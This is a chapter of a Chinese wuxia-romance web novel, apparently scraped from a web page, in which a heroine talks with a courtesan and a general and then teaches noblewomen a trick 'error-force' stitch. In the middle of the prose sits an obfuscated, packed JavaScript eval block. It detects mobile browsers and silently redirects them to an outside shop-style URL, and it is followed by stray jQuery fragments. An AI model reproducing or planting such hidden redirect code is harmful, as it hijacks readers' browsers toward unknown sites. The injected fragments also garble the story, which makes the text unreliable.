27. 保守秘密

作品:《迟钝女侠被阴湿男鬼缠上后

    裴悦盯着她,点头接受了这个说法:“只是为了满足我的好奇而来?”


    “那倒不是。”秦瑜也爽快道,“我也有我的好奇。”


    裴悦笑:“难怪满足我的好奇时,那么爽快,原来是等价交换。”


    秦瑜也笑起来,凑近裴悦时眨了下眼睛:“怎么,红刀大侠不喜欢等价交换?”


    裴悦举杯的动作微顿,轻轻移开视线重新注视她。


    秦瑜温温和和继续道:“只是那夜在花船上,我不小心看了个全程而已。”


    二楼。


    当时她在二楼。


    “我没有别的意思。”秦瑜像是没发现裴悦的敌意,依然温柔浅笑,“只是有些好奇,女侠为什么没有在宴会上借机坑害郡公一把。”


    她疑惑问道:“郡公可是给了你一刀,将你害得吐血不止,还追杀魏家人的罪魁祸首。”


    “他要你来问的?”裴悦皱眉,“他什么时候这么迂回,都不敢亲自问我了?”


    秦瑜摇头:“女侠猜错了,这只是我的好奇。”


    为什么好奇这个?裴悦不解打量着她,但还是答道:“是我先辜负他的真心信任,如此正好两清。”


    “女侠的账,好像算得有失公允。”秦瑜却眼帘微垂,“真是……”


    “真是什么?”裴悦问。


    她却重新笑起来,看向小院门口:“女侠放心,我最会的,就是保守秘密。”


    杜锋正从门口走进来,看到秦瑜先皱了下眉。


    “将军既然来了,我便先走了。”秦瑜对裴悦告辞,“悦娘子可别忘了,还欠我一次宴会邀约。”


    裴悦微顿,没有反驳她,只点了点头。


    “魏娘不是说,不会应她的约吗?”杜锋问。


    “既然舒娘和她相交,必然是有些妙处的,我只是信任舒娘的眼光。”裴悦轻巧回复。


    杜锋微叹:“话虽如此……”


    裴悦干脆打断:“将军是有什么要事?”


    “前些日子行知说,魏娘习武是好事,有利于筋骨恢复。”杜锋将身后的横刀放在桌上,“我想着横刀便利,适合女娘使。”


    精巧的刀鞘和臂长的短刀,裴悦一眼就能看出来,这是装饰用的。


    开没开刃都难说。


    裴悦摸了摸刀鞘上的宝石,扬起笑面道谢:“又劳将军破费了。”


    “魏娘不喜欢?”杜锋看了眼横刀,继续道,“那魏娘喜欢什么?”


    “没有不喜欢。”裴悦把玩了一下,拔刀一看,果然没开刃。


    面无异色的收刀回鞘,裴悦再次道谢:“很漂亮,我很喜欢。”


    杜锋松了口气:“那就好,往后魏娘缺什么,定要和我说。”


    “多谢将军。”


    此时,杜锋看到一旁的话本子:“魏娘在看最近时兴的杂谈话本?”


    “对,长风拿回来……”裴悦微顿,疑惑思考了片刻,刚刚她放在最上面的那本,是这个吗?


    “这本火遍了江南,一时间感动了许多人。”杜锋笑着闲谈道,“落魄文人遗孤流落风尘惨死,忠仆耗费数十年,收集仇人罪证,击鼓鸣冤平反。”


    “结果如何?”裴悦被勾起兴趣。


    杜锋道:“忠仆为主人平反,迫害者下狱,她被争相竞娶。不过,故事还差最后一册未公布。”


    “……必然吃了很多苦,也很令人敬佩。”裴悦面有异色,“但因此被争相竞娶……”


    “说明她的品性和为人,足以突破阶层,成为一家主母。”杜锋倒是带着赞许之意,“这一点,也不是寻常女娘做得到的。”


    “困于高墙之内,为一家老小操持,还要维护世交情谊……”裴悦微微垂眸,嘴角带着讽意,“竟是奖赏?”


    杜锋一顿,像是没听清:“魏娘说什么……”


    “没有。”裴悦笑着抬头,“若这话本出了最后一册,我定要看看那忠仆的选择。”


    杜锋笑道:“应是挑选了哪家夫婿,过上安稳日子了。”


    “是吗?”裴悦没再多说,只点了点头。


    *


    日子悄然划过,裴悦被安排在这日午后,第一次教授女郎们女红。


    庾舒和青鱼娘子提前邀她用早膳。


    席上,庾舒同她传授些管教小女郎的技巧,再告诉裴悦,第一次授课出错很正常,无需有压力。


    “说起来,悦娘子打算教授些什么?”青鱼娘子忽然问。


    裴悦想了想道:“魏家擅长制衣,于女红上别出心裁,自创针法和染料工艺都是独一份……”


    “这些是魏家立身之本吧。”青鱼娘子无奈的笑道,“教授这些出来,魏郎君可同意了?”


    “长风向来是不管家里这些产业的,无需他同意。”裴悦疑惑看了眼青鱼娘子。


    青鱼娘子知道自己的身份,那就该知道为长的人不是魏长风,怎么还这么问?


    “因为悦娘的名字叫‘悦儿’,魏悦儿。”庾舒歉意一笑,“她对这些敏感。”


    “其实我就叫魏悦,魏悦儿是将军这么叫的。”裴悦倒不介意,“而且女学里的学子皆是豪族,更是自有传家生意,即便学了,也不会真的踏足布行。”


    “更何况,魏家零落,若再不传承,这些该埋进棺材里了。”裴悦道。


    青鱼娘子神色微变,看着裴悦时更显热忱:“我明白了,悦娘果然……是侠之大者。”


    庾舒都因此失笑:“怎么忽然说到了‘侠之大者’?不过,悦娘确实豁达,令人钦佩。”


    早膳后,刺史等人也来了女安学堂,似是和杜锋有事商议。


    池曜走在人前,路过青鱼娘子时,眼神沉冷,暗含警告之意。


    她却寸步未移,站在裴悦身侧回望。


    等裴悦意识到微妙时,众人已擦肩而过。


    “郡公,确实对女侠捧了颗真心。”青鱼娘子轻声道,“不过,这可未必是好事。”


    她面色如常地笑着:“据闻,岭南王府,都是些疯子。”


    这话只在裴悦耳畔,似乎仅仅是反目后,对老东家莫名其妙的挖苦。


    不待裴悦反应,她已经挽住庾舒手臂:“我们该走了,别影响悦娘授课。”


    小小插曲便就此而过。


    *


    阳光从窗户洒进来,映在一张张整齐铺开的布匹上。


    课堂上,除了不适龄,还在补识字功课的小女郎,其余女郎都已经正襟危坐。


    裴悦舒出一口气,专注于此前。


    眼熟的女郎仅蔓生一人,其余二十人都是之前的女学弟子。


    看到裴悦,蔓生眼睛一亮,笑着和旁边的女郎道:


    “她就是救我的悦娘子!”


    “长得还行,就是有点凶巴巴的。”


    “她不凶!”蔓生连忙道,“她可温柔了!”


    “……好吧。”旁边的女郎打量着裴悦,“但愿她的女红和她的胆子一样,担得起期待。”


    窗开得不大,风只进来一点,刚好能吹动案头的线轴。


    裴悦坐在最前端的长案前,面前放着一件半成的短袄。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973380|192078||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    布料普通,颜色温和,没有一点玄机的样子。


    “我们先学走线。”


    蔓生旁边的女郎失望道:“走线谁不会,我们很多年前就会走线了。”


    “对啊,魏家的绣工不是以双面绣闻名,实在不行教我们染布也好。”


    裴悦像是没听见,她取针、穿线,动作都很慢。


    慢到每个人都看清楚了,针从哪一根线下走过,又从哪一根线上浮出来。


    “你们走针是不是习惯了牢靠?”裴悦莫名其妙问了句。


    “缝衣不求牢靠,那不就是失败了?”


    有女郎跟着点头。


    “会松散,而且没有型。”


    裴悦一笑,停下针把短袄往旁边放:“有没有人想要挑战一下新针法。”


    蔓生旁边那个女郎再一次出声:


    “什么新针法是我们没学过的?”


    庾舒说过,女学里有不少名门贵女。


    包括吴兴、吴郡、会稽和钱塘等地的顾、陆、朱、张。


    这些都是不好惹的南方豪族。


    “不如试试?”裴悦指了指她面前放着的布匹。


    “试就试。”


    裴悦走到她桌前:“今天要教你们的针法,叫错力针。”


    “错力针?错开的力?”


    蔓生倒是不了解针法,闻言连忙凑上来盯着。


    “故弄玄虚。”那女郎轻哼一声,仅余光盯着裴悦动作。


    只见裴悦选了张支撑力较弱的布料,取针缝制着边缘。


    动作利落,针脚干净,虽然走针奇怪。


    女郎注意到,裴悦每三针换了个方向。


    但总的来说,没有别的厉害之处。


    直到这时,裴悦将缝好的布锻递到她面前:“你……叫什么?”


    “吴郡,顾明月。”她下巴微扬。


    裴悦点头:“试着撕烂它。”


    “什么?”顾明月疑惑,“你不是刚刚缝好……”


    她转而明白过来:“你是想说,你的这个什么错力针,受力却不会被撕烂?”


    裴悦反倒摇头:“我是说,撕烂它为止。”


    顾明月半信半疑,试探着拉扯起缝合好的布锻来。


    纹丝不动,确实缝合得很牢固。


    “到底要干什么?”


    “小小年纪,一点耐心都没有。”裴悦从她手里取出,递给蔓生,“来试试。”


    蔓生没上手,反而仔细观察起针脚来。


    “这么看起来,像是走了双层针法,这种尤其牢靠,徒手是撕不烂的。”


    “非也。”裴悦让她们仔细看好。


    随即,她找出了其中一条细线。


    看起来,它和其它线之间的距离不同,针距略大且方向略偏。


    轻轻扯断这条细线,布锻缝合之处就应声而裂。


    其余针线也跟着全部松掉了。


    “为什么……”


    “这就是错力针。”裴悦道,“用这种针法缝衣的话,可以说是很牢靠,也可以说是……非常不牢靠。”


    顾明月疑惑皱眉:“为什么要用这种针法?”


    “这个嘛,等你们学会了再说。”


    “故弄玄虚!”


    裴悦失笑:“你是只会这个词吗?”


    众女郎都笑起来,兴致勃勃的开始学错力针的走法。


    女学开设女红、制衣课程的目的,其实不可细看,但裴悦想,如何教,就是她的事了。


    她唯一能做的,可能也仅仅如此。